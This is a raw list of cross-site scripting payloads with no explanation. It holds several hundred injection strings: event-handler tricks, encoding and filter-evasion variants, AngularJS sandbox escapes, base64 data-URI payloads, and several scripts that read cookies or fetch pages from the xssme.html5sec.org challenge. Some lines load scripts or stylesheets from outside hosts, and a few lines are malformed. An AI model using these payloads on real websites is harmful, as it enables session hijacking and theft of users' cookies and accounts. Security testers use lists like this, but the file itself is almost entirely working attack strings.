<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Bconfirm%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
<script>     function b() { return Safe.get(); } confirm(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script> 
<img src=http://www.google.fr/images/srpr/logo3w.png onload=confirm(this.ownerDocument.cookie) width=0 height= 0 /> #
<script>  function foo(elem, doc, text) {   elem.onclick = function (e) {    e.__defineGetter__(text[0], function () { return true })    confirm(Safe.get());   };      var event = doc.createEvent(text[1]);   event.initEvent(text[2], true, true);   elem.dispatchEvent(event);  } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> # 
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{confirm(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
<script> var+xmlHttp+=+null; try+{ xmlHttp+=+new+XMLHttpRequest(); }+catch(e)+{} if+(xmlHttp)+{ xmlHttp.open('GET',+'/xssme2',+true); xmlHttp.onreadystatechange+=+function+()+{ if+(xmlHttp.readyState+==+4)+{ xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi); confirm(RegExp.%241); } } xmlHttp.send(null); }; </script>#
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
<script for=document event=onreadystatechange>getElementById('safe123').click()</script>
<script> var+x+=+showModelessDialog+(this); confirm(x.document.cookie); </script>
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
<iframe src=%22404%22 onload=%22frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22content.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22self.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<iframe src=%22404%22 onload=%22top.frames[0].document.write(%26quot;<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){confirm(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
<script>var x = safe123.onclick;safe123.onclick = function(event) {var f = false;var o = { isTrusted: true };var a = [event, o, event];var get;event.__defineGetter__('type', function() {get = arguments.callee.caller.arguments.callee;return 'click';});var _confirm = confirm;confirm = function() { confirm = _confirm };x.apply(null, a);(function() {arguments.__defineGetter__('0', function() { return a.pop(); });confirm(get());})();};safe123.click();</script>#
<iframe onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var xhr = new XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520confirm(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe id=iframe src=%22javascript:parent.x(window)%22><iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<textarea id=ta onfocus=%22write('<script>confirm(1)</script>')%22 autofocus></textarea>
<object data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
<script>function x(window) { eval(location.hash.substr(1)) }; open(%22javascript:opener.x(window)%22)</script>#var xhr = new window.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{confirm%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
<iframe src=`http://xssme.html5sec.org/?xss=<iframe onload=%22xhr=new XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){confirm(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{confirm%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); confirm(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
Garethy Salty Method!<script>confirm(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> ?
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
<var onmouseover="confirm(1)">On Mouse Over</var>?
<input type="text" value=``<div/onmouseover='confirm(1)'>X</div>
http://www.<script>confirm(1)</script .com
<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?
<svg><script ?>confirm(1)
<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<meta http-equiv="refresh" content="0;javascript&colon;confirm(1)"/>?
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>?
<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script ????????????
<script itworksinallbrowsers>/*<script* */confirm(1)</script ?
<img src ?itworksonchrome?\/onerror = confirm(1)???
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script> ?
<div  style="position:absolute;top:0;left:0;width:100%;height:100%"  onmouseover="confirm(1)" onclick="confirm(1)">x</button>?
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
<iframe  src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a  href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click  Me</a>
"><img src=x onerror=confirm(1);>
<script>eval.call`${'confirm\x281)'}`</script>
<script>confirm.call`${1}`</script>
--!><svg/onload=confirm(1)
//confirm.ml%2f@ᄒ.ws/✌
//confirm.ml%2f@⒕₨
"type=image src onerror="confirm(1)
"onresize="confirm(1)
"oninput="confirm(1)
javascript:confirm(1)#{"action":1}
vbscript:confirm(1)#{"action":1}
"><svg/a=#"onload='/*#*/confirm(1)'
"><script x=#"async=#"src="//⒛₨
<script>// console.log("confirm(1)");</script>
<script>// console.log("confirm(1)-->");</script>
[U+2028]confirm(1)[U+2028]-->
<ſvg><ſcript/href=//⒕₨>
<ſcript/ſrc=//⒕₨></ſcript>
<ſcript/async/src=//⒛₨>
p'rompt(1)
"(confirm(1))in"
parseInt("confirm",36); //1558153217
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval(630038579..toString(30))(1)
eval(0x258da033.toString(30))(1)
for((i)in(self))eval(i)(1)
{"source":{},"__proto__":{"source":"$`onerror=confirm(1)>"}}
SRC     =HTTPS:PMT1.ML>    </SCRIPT    <>
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
"><script/async/src="/〳⒛₨
<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">
"><svg><!--#--><script><!--#-->confirm(1<!--#-->)</script>
"><svg><!--#--><script><!--#-->confirm(1)</
"><script>`#${confirm(1)}#`</script>
"><script>@if(0)#@end;confirm(1)@if(0)#@end</script>
<script>confirm('XSS')</script>
<scr<script>ipt>confirm('XSS')</scr<script>ipt>
"><script>confirm('XSS')</script>
"><script>confirm(String.fromCharCode(88,83,83))</script>
<img src=x onerror=confirm('XSS');>
<img src=x onerror=confirm('XSS')//
<img src=x onerror=confirm(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=confirm(String.fromCharCode(88,83,83));>
<img src=x:confirm(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=confirm('XSS');>
"><img src=x onerror=confirm(String.fromCharCode(88,83,83));>
<svgonload=confirm(1)>
<svg/onload=confirm('XSS')>
<svg onload=confirm(1)//
<svg/onload=confirm(String.fromCharCode(88,83,83))>
<svg id=confirm(1) onload=eval(id)>
"><svg/onload=confirm(String.fromCharCode(88,83,83))>
"><svg/onload=confirm(/XSS/)
vbscript:msgbox("XSS")
data:text/html,<script>confirm(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<listing id=x>&lt;img src=1 onerror=confirm(1)&gt;</listing>
#"><img src=/ onerror=confirm(2)>
<input type="hidden" accesskey="X" onclick="confirm(1)">
<body onload=confirm(/XSS/.source)>
<input autofocus onfocus=confirm(1)>
<select autofocus onfocus=confirm(1)>
<textarea autofocus onfocus=confirm(1)>
<keygen autofocus onfocus=confirm(1)>
<video/poster/onerror=confirm(1)>
<video><source onerror="javascript:confirm(1)">
<video src=_ onloadstart="confirm(1)">
<details/open/ontoggle="confirm`1`">
<audio src onloadstart=confirm(1)>
<marquee onstart=confirm(1)>
<script>confirm(document.getElementById('x').innerHTML)</script>
<svg xmlns="http://www.w3.org/2000/svg" onload="confirm(document.domain)"/>
<svg><desc><![CDATA[</desc><script>confirm(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>confirm(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>confirm(3)</script>]]></svg>
{{constructor.constructor('confirm(1)')()}}
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'confirm(1)')()}}
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)confirm(window\\u002ex=1)')+eval(y)+"'");}}
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'confirm(1)')()}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","confirm(1)"].sort(toString.constructor);}}
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)confirm(window\\u002ex=1)')+eval(y)+\"'");}}
{{0[a='constructor'][a]('confirm(1)')()}}
<div id = "x"></div><script>confirm(x.parentNode.parentNode.parentNode.location)</script>
<sCrIpt>confirm(1)</ScRipt>
String.fromCharCode(88,83,83)
confirm'1'
<a href="" onmousedown="var name = '&#39;;confirm(1)//'; confirm('smthg')">Link</a>
<script>window['confirm'](document['domain'])<script>
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
<img src='1' onerror\x00=confirm(0) />
<img src='1' onerror\x0b=confirm(0) />
<img src='1' onerror/=confirm(0) />
<img/src='1'/onerror=confirm(0)>
<img src='1' onerror='confirm(0)' <
<script>foo="text </script><script>confirm(1)</script>";</script>
<script>window['confirm'](0)</script>
<script>parent['confirm'](1)</script>
<script>self['confirm'](2)</script>
<script>top['confirm'](3)</script>
<script>this['confirm'](4)</script>
<script>frames['confirm'](5)</script>
<script>content['confirm'](6)</script>
%00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
+ADw-img src=+ACI-1+ACI- onerror=+ACI-confirm(1)+ACI- /+AD4-
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,confirm($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>confirm(1)</scRipt>
<img/id="confirm&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29;>
<img src=x:confirm(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>confirm&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;confirm&lpar;1&rpar;&gt;'>
<script>confirm(123);</script>
<ScRipT>confirm("XSS");</ScRipT>
<script>confirm(123)</script>
<script>confirm("hellox worldss");</script>
<script>confirm('XSS')</script> 
'><script>confirm('XSS')</script>
<script>confirm(/XSS')</script>
<script>confirm(/XSS/)</script>
'; confirm(1);
')confirm(1);//
<ScRiPt>confirm(1)</sCriPt>
<IMG SRC=jAVasCrIPt:confirm('XSS')>
<IMG SRC='javascript:confirm('XSS');'>
<IMG SRC=javascript:confirm('XSS')>      
<img src=xss onerror=confirm(1)>
<iframe %00 src="&Tab;javascript:confirm(1)&Tab;"%00>
<sVg><scRipt %00>confirm&lpar;1&rpar; {Opera}
<img/src=`%00` onerror=this.onerror=confirm(1)
<img src=`%00`&NewLine; onerror=confirm(1)&NewLine;
<script /*%00*/>/*%00*/confirm(1)/*%00*/</script /*%00*/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
</script><img/*%00/src="worksinchrome&colon;confirm&#x28;1&#x29;"/%00*/onerror='eval(src)'>
<iframe/%00/ src=javaSCRIPT&colon;confirm(1)
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)">
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
 <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="confirm(1)" onclick="confirm(1)">x</button>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//'></SCRIPT>'>'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<IMG '''><SCRIPT>confirm('XSS')</SCRIPT>'>
<IMG SRC='jav ascript:confirm('XSS');'>
<IMG SRC='jav&#x09;ascript:confirm('XSS');'>
<<SCRIPT>confirm('XSS');//<</SCRIPT>
%253cscript%253econfirm(1)%253c/script%253e
'><s'%2b'cript>confirm(document.cookie)</script>
foo<script>confirm(1)</script>
<scr<script>ipt>confirm(1)</scr</script>ipt>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<BODY BACKGROUND='javascript:confirm('XSS')'>
<INPUT TYPE='IMAGE' SRC='javascript:confirm('XSS');'>
<IMG SRC='javascript:confirm('XSS')'
javascript:confirm("hellox worldss")
<img src="javascript:confirm('XSS');">
<img src=javascript:confirm(&quot;XSS&quot;)>
<"';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
<script>confirm("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
<script>confirm("XSS");</script>&search=1
0&q=';confirm(String.fromCharCode(88,83,83))//\';confirm%2?8String.fromCharCode(88,83,83))//";confirm(String.fromCharCode?(88,83,83))//\";confirm(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=confirm('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=confirm(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form><button formaction="javascript:confirm(XSS)">lol
<!--<img src="--><img src=x onerror=confirm(XSS)//">
<![><img src="]><img src=x onerror=confirm(XSS)//">
<style><img src="</style><img src=x onerror=confirm(XSS)//">
<? foo="><script>confirm(1)</script>">
<! foo="><script>confirm(1)</script>">
</ foo="><script>confirm(1)</script>">
<? foo="><x foo='?><script>confirm(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>confirm(1)</script>">
<% foo><x foo="%><script>confirm(123)</script>">
<div style="font-family:'foo&#10;;color:red;';">LOL
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
<script>({0:#0=confirm/#0#/#0#(0)})</script>
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>confirm(123)</script></svg>
&lt;SCRIPT&gt;confirm(/XSS/&#46;source)&lt;/SCRIPT&gt;
\\";confirm('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;confirm(\"XSS\");&lt;/SCRIPT&gt;
&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;confirm('XSS');\"&gt;
&lt;BODY BACKGROUND=\"javascript&#058;confirm('XSS')\"&gt;
&lt;BODY ONLOAD=confirm('XSS')&gt;
&lt;IMG DYNSRC=\"javascript&#058;confirm('XSS')\"&gt;
&lt;IMG LOWSRC=\"javascript&#058;confirm('XSS')\"&gt;
&lt;BGSOUND SRC=\"javascript&#058;confirm('XSS');\"&gt;
&lt;BR SIZE=\"&{confirm('XSS')}\"&gt;
&lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;confirm('XSS');\"&gt;
&lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
&lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
&lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
&lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
&lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;confirm('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
